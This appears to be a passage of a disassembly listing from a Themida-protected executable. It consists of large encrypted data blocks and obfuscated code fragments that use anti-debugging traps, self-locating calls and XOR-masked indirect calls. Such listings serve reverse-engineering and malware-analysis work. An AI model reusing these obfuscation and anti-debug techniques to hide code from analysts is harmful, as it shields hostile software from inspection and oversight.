0FF18AC48h dd 2933040h, 1912AE71h, 5C3A27B6h, 52B408CBh, 0CB3B4F20h dd 0C256F275h, 3D2A2FABh, 0AC3CD0ACh, 302A2A2Fh, 0DC4FFD37h dd 0AB470AADh, 2A2F0417h, 0DF700192h, 0BA1E1116h, 0F543BEE0h dd 1DCh, 9F70020Ah, 22F3778Bh, 0A778F20Eh, 29FA6E93h, 0B081F115h dd 0FD09669Bh, 7390A475h, 0ED182CFDh, 619EB283h, 8FD43607h dd 46CC5FF3h, 2C7CDA30h, 0C2B056AAh, 0B1C14589h, 3533CCE0h dd 33CD2164h, 43D7E37h, 0AD56AA86h, 9CD42FC3h, 6569A2E3h dd 0ED894C4Dh, 34101FB4h, 0E26528B9h, 4113B246h, 639C2D30h dd 13D66EFAh, 44AA3041h, 54B20622h, 8A98C777h, 50E1BE3Bh dd 0E31D5697h, 6FA80040h, 7FEDF5EDh, 9BB3A198h, 0C83562h dd 0D9370000h, 45894226h, 1580AC1h, 672048B9h, 3343EE26h dd 8EDA25B9h, 1FE63AFDh, 1E579851h, 23BF42B5h, 2A2D048Fh dd 0B440790Ah, 2A2C117Fh, 0A172F609h, 3DF6728Dh, 5D202139h dd 103968C1h, 8B5CED34h, 0DB9E9FB7h, 27F4653Fh, 985BEC3Ah dd 0E27EC244h, 2A2F844Eh, 0ECAF40D1h, 7DED1569h, 2F850DA1h dd 40D4702Ah, 0BB2A2F85h, 0BDF6872Ah, 94DE283Ch, 0BA9F4CCBh dd 3C8A05E0h, 0D0h, 0AB7CF616h, 2EFF6B97h, 0B384E61Ah dd 3506629Fh, 0BC8DE521h, 0F11572A7h, 679CB081h, 0E1243809h dd 55AABE8Fh, 9BE04213h, 46CD6BFFh, 4090EE30h, 0E09E2DD9h dd 0B541B5D5h, 45592ABBh, 68EBAEBAh, 2DE738CCh, 0E922B32Ah dd 26D91A68h, 0C572CA9Bh, 0E475D147h, 1E18E72Bh, 2DEEEE82h dd 4FE0712Ah, 0A0CA388Ch, 0EC6DA6E7h, 7FC0018h, 7915D869h dd 3417C460h, 289B54E5h, 863F31D4h, 37C80C45h, 0B34C6031h dd 659EF2B5h, 0DD69D20Bh, 0A5566E79h, 0E97EF84Ch, 0C50AB16h dd 12C19823h, 639CB081h, 0B56E0402h, 0E62AE374h, 928A4D1Bh dd 39DE0EAFh, 0E14A8337h, 94C3A3B9h, 182CFD6Bh, 7AC881E7h dd 0Ch, 2C4FBDB5h, 0A6E37606h, 1BABEF6Dh, 863F33D9h, 0F2ABBD42h dd 601957AEh, 0D089E71Ch, 3FF87A8Ch, 0AE670BFBh, 18D1976Ah dd 853E2CD4h, 0F0A9C141h, 6B4568EAh, 2C890000h, 0E2895224h dd 4C281h, 0EA810000h, 4, 5C241487h, 68241489h, 31EBh dd 56243489h, 0D63B5DBEh, 0F2A3BA59h, 0F2315FCFh, 8124348Bh dd 4C4h, 348B5400h, 4C48124h, 53000000h, 8F53D389h, 0FF5B0846h dd 835E2434h, 148B04C4h, 0E0895024h, 405h, 4C08300h, 5C240487h dd 0FB7129E9h, 0DD53A9FFh, 1EB73298h ; --------------------------------------------------------------------------- sub al, 7Bh loc_5A6186: ; CODE XREF: sub_5A552C:loc_5A5592j mov eax, 619D532h add eax, ebp jmp eax sub_5A552C endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 36h ; --------------------------------------------------------------------------- jmp short near ptr loc_5A6190+1 ; CODE XREF: Themida_:loc_5A6190j ; --------------------------------------------------------------------------- sbb dword ptr [bp+si+5366h], 44873E22h int 3 ; Trap to Debugger xchg eax, ebx xchg esp, [ebp-63h] cmp byte ptr [esi], 2Eh lea ecx, [ebp+619D6A8h] mov [ebp+6143229h], ecx push 0 push ebx call sub_5A61BA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A61BA proc near ; CODE XREF: Themida_:005A61B2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5A61BA endp ; --------------------------------------------------------------------------- cmp [edi-15h], dl mov esi, 0DBA0217Ah scasb jmp loc_5A61DE ; --------------------------------------------------------------------------- or eax, 5AC2D53Eh leave loc_5A61DE: ; CODE XREF: Themida_:005A61D3j mov dword ptr [ebp+614064Dh], 63BCh movsx eax, dx mov dword ptr [ebp+6142671h], 0 push 0 push edi call sub_5A6200 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A6200 proc near ; CODE XREF: Themida_:005A61F8p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5A6200 endp ; --------------------------------------------------------------------------- dd 0F45C7F43h, 9E8h, 0E52DAA00h, 0E915F935h, 7E830AFh db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_5A6227 proc near ; DATA XREF: Themida_:0054BDFCo pusha cmp ebp, ds:8A3DC3ACh mov ebx, [ebp+61408FDh] pop ebx pop esi push dword ptr [ebp+614220Dh] push 0 push eax call sub_5A6247 and [eax-3Dh], bl sub_5A6227 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A6247 proc near ; CODE XREF: sub_5A6227+18p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5A6247 endp ; --------------------------------------------------------------------------- align 4 dd 0E8C848EAh, 13h, 216A6840h, 0E45C0F30h, 9D29BDBEh, 6BDD0CCDh dd 5A0EAB3Eh, 236195FFh, 9D890614h, 614321Dh, 95FF006Ah dd 6141169h, 7EEBC08Bh, 0B654AC30h, 0B06DFC88h, 270F81CDh dd 417F9EAAh, 8392BBA0h, 0D639AEB2h, 989057D7h, 7217916Fh dd 4B45593h, 899326F9h, 0E28E2120h, 2E3D3F99h, 0E8292E83h dd 0FF98F5Ch, 173B728Fh, 5C15AA6Ch, 32D4162Ah, 0C9604BBh dd 0FE9AB1FCh, 26F83472h, 39B8B6Ch, 5A44D694h, 393F35FBh dd 8BB6A915h, 0E0895315h, 72A7D01Bh, 2662D283h, 0A9302B36h dd 0DF4D599Bh, 5B8046C3h, 21E8B419h, 0C08BC646h, 77C28166h dd 0B1BD833Dh, 61430h, 0BD830975h, 6141AE1h, 50197400h dd 0B8C08B53h, 3FCh, 1A498589h, 9D8D0614h, 616B73Ah, 585BD3FFh dd 1AE1BD83h, 74000614h, 0B8535017h, 3FCh, 1A498589h, 9D8D0614h dd 616B429h, 585BD3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0E4C35343h, 3729F714h, 56A276BBh, 6AC08B69h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 105EC357h, 0CDBD83D6h, 1061412h, 0BD840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 10E929C3h, 0DE000000h, 7D2A0D75h, 7094B5C4h dd 5CEB2E3h, 663BC382h, 0B789EA81h, 1B0DBD83h, 0F000614h dd 7A85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0A3554051h, 0CE9h, 2DF4B300h, 0D511BFBFh dd 6834E28Bh, 9BD83EEh, 61423h, 98840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0DE2F0EC3h, 41919141h, 7E8h, 9B5A6400h, 794527D0h, 5A81F680h dd 58A0Fh, 81660000h, 0E91CE5F2h, 498h, 0DE960h, 156C0000h dd 315B180Eh, 0F4A49B4Eh, 0FF058ACh, 61D2BFh, 66000000h dd 6A042ABAh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 9DC4C355h, 0E9D18B66h, 12h, 9DE983DFh dd 5794420Dh, 3C022227h, 85D46F95h, 7E6EC451h, 0CDE866C0h dd 23AFBF19h, 0CB7CBF70h, 94FDE053h, 0CF3BC3FAh, 0CFABFBF2h dd 0CBC7BF69h, 1720E834h, 0EAC18CBAh, 47F7708Dh, 0CB7CBF70h dd 46E83415h, 0DC53ADF6h, 9A8FD575h, 0CBC7BC9Bh, 8BA9F73h dd 0EFBD362Ah, 0EFBC3E77h, 0CB7CA277h, 86FFE73h, 0F6D564CFh dd 14CAFA78h, 343B6AB8h, 99E3D5A3h, 0CBF1BC9Bh, 8A29F73h dd 0EF283629h, 0EF7A3E77h, 0CB1FA577h, 8DDFD73h, 7634F8F9h dd 0ADBA127Fh, 29716EF8h, 0CD2B3E2Bh, 222DDA40h, 0CB3EBA78h dd 234FBF19h, 0CB8FBF70h, 9304E753h, 0CFC7FBFAh, 0CFD5FBF2h dd 0CBF8BF6Ah, 17BFEF33h, 53D204E9h, 0CB115638h, 0EFA8BF73h dd 7DAFF362h, 47450537h, 0BA64F94Dh, 1473E821h, 2329E429h dd 0CB3EBF73h, 72F23E2Eh, 0A189A6AAh, 0C82FEA73h, 0EBE3BF73h dd 42AC7C2Eh, 4AFC9B1Fh, 0D1789B37h, 8E3EBF73h, 3CB57C26h dd 55B6991Ch, 4AA1EFFFh, 91BB7DA9h, 0A1283415h, 0C810E873h dd 0EB7CBF73h, 42617C2Ch, 4A1B9B0Fh, 0D78B9B37h, 8CC7BF73h dd 846C7C24h, 8FE143AEh, 0AB9ACC9Fh, 7C737EF8h, 0D9D7DEB2h dd 0B41FBF73h, 8B994125h, 0FD2DC153h, 0ABAD0BF4h, 0AADF5494h dd 9B383406h, 0CB6E5613h, 7D16BF73h, 3E049C77h, 0E5552F7Ah dd 0E02C6DD1h, 92112E4h, 0CBF13B7Ch, 9099BF73h, 782EEF23h dd 400FB052h, 4247E5ABh, 0DA669B77h, 29C7BF73h, 0FD8B734Ch dd 2B863346h, 3C12A60Ah, 0A27D7E5Ch, 0EF72BE7Ch, 0B9A5D98Dh dd 0CBE5E795h, 0CBC45726h, 96C3BF73h, 0A778E2B0h, 8F79BB57h dd 0CB64BB57h, 9E7BBF73h, 3A2F5CB0h, 0C78A62BCh, 41C7BF71h dd 0A1EB34A6h, 0C819EE73h, 0EBF8BF73h, 42257C2Ah, 4A3A9B3Fh dd 0DF1B9B37h, 8A8FBF73h, 71907C22h, 0BFB51B39h, 37B93415h dd 23A8BF19h, 0CB7CBF70h, 93FDE753h, 0CF3BFBFAh, 0CFABFBF2h dd 0CBC7BF69h, 0B420EF33h, 0D7B8514Eh, 14787085h, 0CB7D07FCh dd 0CB54BF73h, 0CB1C5720h, 90AFBF73h, 974EE4B0h, 8F62BB57h dd 0CBE6BB57h, 98BBBF73h, 0E504FB0h, 0CB335671h, 0BE1BF73h dd 0B76F939h, 42CAA54Ch, 7069B899h, 0C46E8482h, 0CBF356E2h dd 9CB4BF73h, 0F035B4C8h, 0EA83F61Dh, 9CEFEF41h, 58AF0715h dd 0CBF1562Dh, 0A129BF73h, 50585E82h, 0F53E60B5h, 28D78E4Fh dd 7305CF06h, 0C7672E12h, 0F5C7BF73h, 51D73B6Ch, 1C2A38D0h dd 37366BB1h, 12F0D929h, 0D9D7EC20h, 5E1FBF73h, 74891EB5h dd 79572EADh, 0CEF9789Eh, 585DE265h, 3DA3E59Ch, 4E73BBB2h dd 0CB3EBE53h, 234ABF19h, 0CB8FBF70h, 9604E253h, 0CFC7D3FAh dd 0CFD5FBF2h, 0CBF8BF6Ah, 9FBFEA36h, 29919450h, 9ACA0503h dd 0A1D6A3A1h, 0C82FE873h, 0EBE3BF73h, 42AE7C2Ch, 4AFC9B0Fh dd 0D6789B37h, 8C3EBF73h, 0BFB27C24h, 96E5B357h, 0CF220DEBh dd 9B3C087Ch, 0CBE5327Ch, 0C411BF73h, 437CBF73h, 1A3655A3h dd 0D5773BD0h, 866A4AECh, 4B9CCB40h, 4EECD74Ah, 0CBF1BF9Ch dd 0B27366F9h, 38FDD972h, 34BF0B25h, 4B1FBF73h, 0CB563D7Ch dd 0CBADBF73h, 0CBE05720h, 90D1BF73h, 9771E4B0h, 8FFDBB57h dd 0CB23BB57h, 985CBF73h, 2432C3B0h, 4DCE5CEEh, 0AB5BC4F6h dd 0CBF03D7Ch, 9A00BF73h, 0AD2D57F2h, 0AA60E079h, 13B73AB4h dd 0CB8EB96Ah, 40A1BF73h, 0CB5D56A2h, 0CB9BBF73h, 0CBFB5724h dd 945CBF73h, 0B7B7E0B0h, 8F9EBB57h, 0CB94BB57h, 9C80BF73h dd 95A685B0h, 3F10C2BAh, 0E43D9D8h, 0CB19566Ah, 0CB54BF73h dd 0CB1C5721h, 91AFBF73h, 9F4EE5B0h, 8F62BB57h, 0CBEBBB57h dd 99BABF73h, 0CB70A5B0h, 0BFF3CAEDh, 0ADCE342Ah, 3484C6F0h dd 0CBF23B7Ch, 0CB89BF73h, 0CBF25726h, 96D8BF73h, 0A7F5E2B0h dd 8FBFBB57h, 0CB03BB57h, 9ECABF73h, 114F4BB0h, 0D7BEF9C5h dd 709717B9h, 4E3FB5FDh, 0CD6567DBh, 0CB3EBF72h, 835970F3h dd 23D9BF19h, 0CBC7BF70h, 9520E153h, 0CFD5CBFAh, 0CFDCFBF2h dd 0CB7CBF68h, 47FDE935h, 0B564ECECh, 71E3FEE0h, 86A4387Ah dd 16540415h, 42A623CAh, 187D3203h, 467AA6ADh, 0D2E3FACEh dd 0BFE78475h, 1A808F74h, 3E2CF8BAh, 0CB89C2C4h, 0CBF25723h dd 93D8BF73h, 8FF5E7B0h, 8FBFBB57h, 0CB0BBB57h, 9BCFBF73h dd 4AA1B3B0h, 0ADB6A3A8h, 0BBB175F2h, 0D93502F0h, 0C47DB967h dd 0CB3E88F7h, 15A8B073h, 0D08202F0h, 0C4C7B967h, 0CBE398F6h dd 482B3E73h, 488F9233h, 0DF5FB6CEh, 4F31BF75h, 0CB1FBF6Fh dd 0CB8FB49Bh, 0AF114B73h, 92DA44DDh, 0BE136D70h, 902F087Ch dd 0CB7C719Ah, 32500D73h, 0D9D202F0h, 0C48EB967h, 0CBC7C9F6h dd 9EE3D573h, 0CBF1BC9Bh, 8A59F73h, 0EF10362Eh, 0EF7A3E77h dd 0CB1FA977h, 8DAFA73h, 4B2C575Dh, 3D63B594h, 1C7AE22Fh dd 9EF8D5B0h, 0CB7CBC9Bh, 8639F73h, 0EF73362Eh, 0EFCB3E77h dd 0CBC7A677h, 8B6FA73h, 0CFE183FCh, 39794026h, 0D403C1BEh dd 7ABC5DC8h, 0CB7A560Ah, 4280BF73h, 0CBC7BF64h, 0CBE3AD9Ah dd 0F82B2073h, 674D4E8h, 2FC16456h, 57D0F98Ah, 96BDE1CFh dd 23DCBF19h, 0CBC7BF70h, 9020E453h, 0CFD5E3FAh, 0CFDCFBF2h dd 0CB7CBF6Ah, 0AEFDEC30h, 0F46FBFEDh, 1504D939h, 8256DF2h dd 23B09235h, 0CBF1BF7Dh, 933779F8h, 42E8F38Eh, 9F1A83D0h dd 9E8B5Dh, 0CE19CBD3h, 4608E528h, 0D23B58CEh, 6B7C3275h dd 73FEA6ADh, 0B046E36Eh, 0D23F3A40h, 434B967h, 23CA56B2h dd 320342A6h, 0A6AD187Dh, 0FACE467Ah, 8475D2E3h, 8F74BFE7h dd 83BA1A80h, 0A4F305E9h, 0D8A8BD83h, 74000619h, 798D8D0Dh dd 0B806144Dh, 1, 6A40E1FFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 5AD0C356h, 0EACC2BFh dd 66AAF611h, 0BF8ED381h, 13E8h, 38658900h, 690E5444h dd 14D13A0h, 8307E97Dh, 0BEA34391h, 835A5A53h, 0E8562DE8h dd 13h, 524C933Bh, 2DAEBEB7h, 98D404E1h, 0E695FDA3h, 0E82DC8BCh dd 10h, 0B12FE754h, 8D9C552Bh, 7F78059Ch, 9CCC93BBh, 8B5B5B5Bh dd 833BB3C0h, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h dd 8B535019h, 3FCB8C0h, 85890000h, 61430C1h, 0B7A19D8Dh dd 0D3FF0616h, 0BD83585Bh, 6141AE1h, 50177400h, 3FCB853h dd 85890000h, 61430C1h, 0B4429D8Dh, 0D3FF0616h, 0F3BA585Bh dd 6A3F0EC3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 3235C351h, 0B15D2D52h, 850F56E9h dd 13h, 0DE8h, 0E7326800h, 0D41592ADh, 4A2EF20Bh, 5B5A88C4h dd 24EBC08Bh, 9 dup(0) ; --------------------------------------------------------------------------- jmp loc_5A6CA6 ; --------------------------------------------------------------------------- loc_5A6BE9: ; DATA XREF: Themida_:0054BA7Co mov [ebp+619DFE1h], esi mov eax, [ebp+61412CDh] mov eax, [ebp+6140AE1h] lea esi, [ebp+619E02Bh] lea eax, [ebp+6174C12h] call eax retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 619E031h cmp dword ptr [ebp+61412CDh], 1 jnz loc_5A6C50 push dword ptr [ebp+619DFE1h] mov eax, [ebp+6140AE1h] xor eax, 34812736h call eax cmp al, 1 jnz loc_5A6C49 mov eax, 1 jmp loc_5A6C90 ; --------------------------------------------------------------------------- loc_5A6C49: ; CODE XREF: Themida_:005A6C39j xor eax, eax jmp loc_5A6C90 ; --------------------------------------------------------------------------- loc_5A6C50: ; CODE XREF: Themida_:005A6C1Ej push 1Ch lea esi, [ebp+619DFE5h] push esi push dword ptr [ebp+619DFE1h] mov eax, [ebp+6140AE1h] xor eax, 34812736h call eax add esp, 0Ch lea esi, [ebp+619DFE5h] mov eax, [esi+14h] and eax, 4 cmp eax, 4 jz loc_5A6C8B xor eax, eax jmp loc_5A6C90 ; --------------------------------------------------------------------------- loc_5A6C8B: ; CODE XREF: Themida_:005A6C7Ej mov eax, 1 loc_5A6C90: ; CODE XREF: Themida_:005A6C44j ; Themida_:005A6C4Bj ... cmp dword ptr [ebp+61412CDh], 1 jnz loc_5A6CA4 pop ebp retn ; --------------------------------------------------------------------------- jmp loc_5A6CA6 ; --------------------------------------------------------------------------- loc_5A6CA4: ; CODE XREF: Themida_:005A6C97j pop ebp iret ; --------------------------------------------------------------------------- loc_5A6CA6: ; CODE XREF: Themida_:005A6BE4j ; Themida_:005A6C9Fj lea eax, [ebp+619E00Ah] mov [ebp+6142E9Dh], eax jmp loc_5A6D6B ; --------------------------------------------------------------------------- db 2Eh dd 946267C9h, 5000000h, 1000000h, 28000000h, 200000Ah dd 27h dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5A6D6B: ; CODE XREF: Themida_:005A6CB2j jmp loc_5A785D ; --------------------------------------------------------------------------- push 619E2EAh jmp loc_5509FF ; --------------------------------------------------------------------------- push 619E3EFh jmp loc_5509FF ; --------------------------------------------------------------------------- push 619E50Eh jmp loc_5509FF ; --------------------------------------------------------------------------- push 619E566h jmp loc_5509FF ; --------------------------------------------------------------------------- push 619E677h jmp loc_5509FF ; --------------------------------------------------------------------------- push 619E6D8h jmp loc_5509FF ; --------------------------------------------------------------------------- push 619E9DDh jmp loc_5509FF ; --------------------------------------------------------------------------- push 619EACAh jmp loc_5509FF ; --------------------------------------------------------------------------- dd 84D6E9F3h, 3F912CA7h, 0F94B7062h, 0AE00B91Ch, 65B706D1h dd 0B3248C2Ch, 0F6DBB80Ah, 449471C3h, 8A4C297Bh, 4BD3DF31h dd 0BC95F45h, 11787358h, 93B44017h, 903C7F57h, 76E2E138h dd 9559CCBFh, 9E363CBAh, 4972646Fh, 7546909Dh, 35D94723h dd 2554E7EDh, 9AC257E6h, 4C6A8EEh, 0AFD15807h, 0D06DF893h dd 2591F8D8h, 89000000h, 77A617BCh, 0F9A51390h, 2E8ABB1h dd 8EB657E5h, 2BA9CE2h, 0A3C55806h, 0D679ECE7h, 0D085F8D9h dd 9C000000h, 9642C412h, 0AE5A6374h, 7A26BE56h, 0A7536A6Dh dd 0D37F3C9Ah, 63AB10C6h, 65BB3F96h, 3AED0430h, 217925BDh dd 5FCCE2F2h, 0EA51F2E3h, 0A57DCFECh, 0E3F1D7DDh, 0DD0551F2h dd 8833A3AEh, 0BE62D0DCh, 0FD357076h, 0BBE357E5h, 0BF1F8D69h dd 6FDD3B9h, 27BFE758h, 0D4ADD9DFh, 153D5DFBh, 7B4F6CDh dd 0CA53562Dh, 0FC8959Bh, 587F5CAEh, 0C31A8765h, 331D3893h dd 90625h, 0DFE0FC00h, 9A23B08Dh, 54676B48h, 9B02502h dd 0C0FDDAB7h, 2D83356Eh, 0E4C113AAh, 9D7ACCEDh, 5532843Bh dd 0DCE83A81h, 0CA684E54h, 817C580Bh, 494F171Ah, 51F1E863h dd 0CF024F77h, 27B0BBEAh, 1DC9F0E1h, 0FEDB2DC5h, 0CE9BE3D8h dd 0E7D8000Ah, 0ECD1024Fh, 13F4ADBDh, 759344A5h, 5AB25E5Dh dd 71BE16C2h, 57AF5B62h, 0A9AF77BFh, 51F1E7C3h, 7662AFD7h dd 16459D49h, 3470A10h, 0ED1557E5h, 319FB41h, 2245806h dd 0D71A4B40h, 0C2E4F8D9h, 0DC000000h, 4AF6C90Fh, 12DCC3F2h dd 434BF7C4h, 0B05C6176h, 0F1CC0B58h, 0B3BEED45h, 0A7ED9924h dd 51F1EB3Ah, 62AA11C5h, 0B4BA4095h, 0D4163506h, 31A5F28Ah dd 6E4B5B8Ah, 9BA75368h, 0E766C22Dh, 0B7E1E903h, 96D1D71Fh dd 4457E5BEh, 80EECA1Ch, 678288D0h, 0D55DFB92h, 3F9865ADh dd 7D542C7Eh, 0EEE2EF1Fh, 404B7A25h, 63482697h, 0E8389311h dd 801F0FEh, 0DB010000h, 1EB592E4h, 62704D9Fh, 0AB2A0759h dd 0F8DFBC0Eh, 7E3A73C5h, 0C618A532h, 7FD1E8E9h, 378936A2h dd 0ED3F7C5Ah, 6D5359E1h, 81580BCBh, 0C5121F86h, 0F5E3B0F8h dd 0E0071ECAh, 60D40106h, 0E145CF4h, 51F2E728h, 0D5E5143Ch dd 8BDDDEF8h, 0F7C412D2h, 23983E4Bh, 0D787F5D1h, 0A916C28Fh dd 7076A5FDh, 0EBC99C6Ah, 487057h, 0C618A333h, 0BCA3AB0h dd 1E7BE858h, 45C08B5h, 964D246Ch, 7714B97h, 7290A0CFh dd 33A4711Ah, 0DB900D5h, 0E4EE1DB5h, 0B582CA76h, 6A709F1Eh dd 0EED4DAA2h, 2580BC4h, 0C53E242Ah, 2A52580Bh, 0D41F6392h dd 205DFEDEh, 8378253h, 67BB5C84h, 0D1E6F8C4h, 6AB25ECCh dd 0DBF3B164h, 0EF375FF7h, 0A3954218h, 766087F7h, 147EAD45h dd 0AEF69A08h, 48FAE0E6h, 0E60EF7FDh, 0DEABB1B7h, 2EFDF1C9h dd 78548F66h, 64337C8Dh, 14D9F8DEh, 0B5E40CFEh, 0F4C10931h dd 0AA87D9E2h, 0F3D9DF2Ch, 76FE14D9h, 58E5400Ch, 0A32F87Ch dd 38219472h, 543E989Ch, 6E246h, 3BC2000h, 0BEFFD4B1h dd 78438F6Ch, 2D8C4926h, 0E4D9FEDBh, 515F5992h, 8E53786h dd 0C19EF0C9h, 7956A817h, 0C5E5Dh, 0CC8C7278h, 0A5A0580Bh dd 0F9A5133Eh, 0C8DDABB1h, 89B157EBh, 5E5F7441h, 19A42F0Ch dd 9076606Dh, 76CE7A43h, 0F3BF00DEh, 0CAB43EA4h, 68ABCh dd 5B647800h, 16A72C09h, 0D0EBE7C4h, 8534A17Eh, 3C815633h dd 0A907B1EAh, 603D8F2Eh, 19F64871h, 0D1AE00BFh, 5864B605h dd 0CCE4CAD0h, 0FDF8580Bh, 0F9A51396h, 0C8DDABB1h, 89B157EBh dd 59627441h, 10BE2B07h, 0C8D0C2C8h, 0D4FC580Bh, 83532028h dd 0E2C50938h, 0EF580BC8h, 4F168DCDh, 0FF8D40Ch, 0F7269342h dd 3C91h, 0A613A800h, 802C8F43h, 7B489028h, 9726AD5Dh dd 2CAD0FFh, 1A1A3B2Bh, 4E7D2B7Dh, 0F2A0100Ah, 68143C51h dd 0F2A04022h, 69294B51h, 0ED35F372h, 70BFEh, 11220000h dd 1BCh, 0CE6BD168h, 3A0DF160h, 73CAEFE6h, 0F5FB96FDh dd 51F2390Fh, 0CB63FB23h, 52327D83h, 0D80057E5h, 2197E337h dd 1DE5E76Fh, 0B1023117h, 0A318BE07h, 7C86B5DDh, 141A620Eh dd 0DA41D61h, 2F3BE70Fh, 8D51DC1h, 0E941EDCEh, 0E1AEB4BAh dd 0B313B99Dh, 6076438Bh, 5A31095Bh, 5654E497h, 9CA7D6EDh dd 26A3813Ah, 6182D45Fh, 5796977h, 53890000h, 963D1A6Ch dd 0DAF8D527h, 23B28FE1h, 70674496h, 0F6C2FB4Dh, 4EA01DBAh dd 7596071h, 0BF11AE2Ah, 75C7F4E2h, 0F5DBE169h, 9580BCDh dd 0C412A70Eh, 0D13F4BF7h, 0C018E52Dh, 0C4CAD0FFh, 57E50511h dd 1CF1E2BFh, 6053016h, 841C4458h, 96E880D8h, 0C09E1DB9h dd 3EAAB713h, 18909E88h, 0EA000005h, 9E7BCDF2h, 59368835h dd 13F04279h, 0C8A5F7C2h, 235CAE0Fh, 1BC1B95h, 0BAFFD2AFh dd 724D8B68h, 28934320h, 3C42CAD6h, 580BCE56h, 12086F6Ah dd 3E4BF7C4h, 6A772398h, 7F3E996Bh, 37E37BD3h, 6713A82Ah dd 0AE334F33h, 42FA98FCh, 0FDD52794h, 953ABC26h, 7FAEAD32h dd 0ED715213h, 29ACFEh, 0CDA40000h, 0D5955DCCh, 0B59CCB98h dd 0B1F9A513h, 0E51D80ABh, 3AE60E57h, 5FE12F4h, 5FFB1D58h dd 0D9DC2144h, 62DDF8h, 13F40000h, 0E9B1F9A5h, 0F1E7FDE3h dd 0BAE91151h, 5443AEB4h, 295157E5h, 864C19E1h, 2318935h dd 0A92CDCF7h, 10267810h, 5806352Dh, 479922B4h, 8936A26Fh dd 180A4B32h, 0D7067CEEh, 6EB607CCh, 0DD8930A1h, 12E9CFD5h dd 0D5FD5806h, 96A40E3Dh, 43Bh, 1A0006CEh, 2E580613h, 0A219B906h dd 886F9EF6h, 0F7154017h, 30DCDDF8h, 0B32181D8h, 0D846507Fh dd 8BDAE028h, 6157E59Dh, 0D26A5384h, 49BD1926h, 2D853188h dd 0F73E995h, 0F44CBA73h, 67E08EEh, 5CF41C58h, 0C7BF0E14h dd 6D955DF9h, 757B431Bh, 5E1AA78Fh, 0A82E7BA3h, 0FDD9E413h dd 3D0A12BEh, 2078249Bh, 2079E7F1h, 25A06B7h, 391C226Ah dd 47640DC1h, 0C80AD71Fh, 4D5AC4F3h, 0DED07785h, 4315A511h dd 0E1F2FFABh, 0A51930DCh, 0D97E84C8h, 1634984Eh, 3E5CFE93h dd 99EBD006h, 0E9EF4FBDh, 642DF003h, 0B1774890h, 0A3A9F189h dd 6A2118E8h, 53B73D14h, 382A74Ah, 6D9C21B6h, 815C1E9h dd 0EC41EDCEh, 87F5084Ah, 0CE898FD7h, 7C70356Dh, 0B1250254h dd 8E3A8155h, 0D1695081h, 57808D39h, 0C99668A7h, 0C0D87439h dd 9F096008h, 9D838946h, 0B1705600h, 0AD59F189h, 7DB7D337h dd 34106259h, 0CCD21AC6h, 764919E9h, 1B23CFF7h, 1A674D53h dd 537B766Ah, 1A1F050Bh, 0B33766Ah, 0B605D1DCh, 975FB50Ah dd 6A19AB91h, 0E1E7BF76h, 766A19FBh, 204FE70Fh, 0B798CCEh dd 32151B63h, 0BE7C5D33h, 330AF0F6h, 0F61E7C7Eh, 0C91B43C7h dd 0B61CEAECh, 0B4C16D05h, 6F479922h, 4D436A2h, 0FCD623BBh dd 188690BFh, 871A2068h, 0F5827184h, 4C1921CDh, 2F87338Ch dd 63FBE1E7h, 0E70F8292h, 639274B8h, 7B9D8292h, 71A1C4DFh dd 205DCE4Dh, 74000000h, 0B1F9A513h, 0E502E8ABh, 0E28EB657h dd 602BA9Ch, 0E7A3C558h, 0D9D679ECh, 0BD85F8h, 129C0000h dd 3E4BF7C4h, 55686F99h, 30951A9h, 51F1E81Dh, 0C5710931h dd 0F19D1EB8h, 0A14512E9h, 54BCBCA6h, 0FFBC1A25h, 872A97ADh dd 21B551F2h, 6B6B489Ah, 2A98A450h, 9F763E86h, 14C1B06Eh dd 0DAFE4EA5h, 4CEF3362h, 0DA57E5D2h, 168460B2h, 991C226Ah dd 0E75DFB8Ah, 2DAA77BFh, 0CB801ED1h, 81875299h, 5E1D199Bh dd 57EF87AFh, 0EAF2805h, 93A2AD30h, 0A180238h, 213h, 80D2EDEFh dd 3B8D30A3h, 0F547745Eh, 0AAFCBD18h, 61B30ACDh, 0B7209028h dd 0FAD7B406h, 48906DBFh, 8E482577h, 47CFDB2Dh, 0BD15B41h dd 0D746F58h, 0B0F8C512h, 0E7FCE2E8h, 0E81051F1h, 0ACCA9B9h dd 13A65FB1h, 0DAB1F9A5h, 36B211F1h, 3D437290h, 0E5527437h dd 71654257h, 0B38AF34Ah, 0DF5C415Bh, 73559B47h, 7E58060Ch dd 8BEAD1A8h, 86CF2EB7h, 4E450557h, 0F8D95817h, 0CCE7h dd 0C412FE00h, 993E4BF7h, 21254065h, 26BEF422h, 36C7347Ah dd 845251F2h, 0CE08E537h, 0C73541EDh, 26C9CF17h, 0B457E589h dd 9A623A8Ch, 668AE94h, 0EDE5C258h, 32CA22CEh, 20CCF3E5h dd 218F99C8h, 0A56D357Dh, 668B99Fh, 76A5CD58h, 0FB3D0E32h dd 2E769E5Dh, 0B2989E66h, 0C65E1D1Dh, 73646F9Eh, 0BC1BF84Ah dd 9EC42301h, 15FF3893h, 12607h, 0BF00DC00h, 7A43906Dh dd 34874B28h, 0E9D005E2h, 0A01DBA97h, 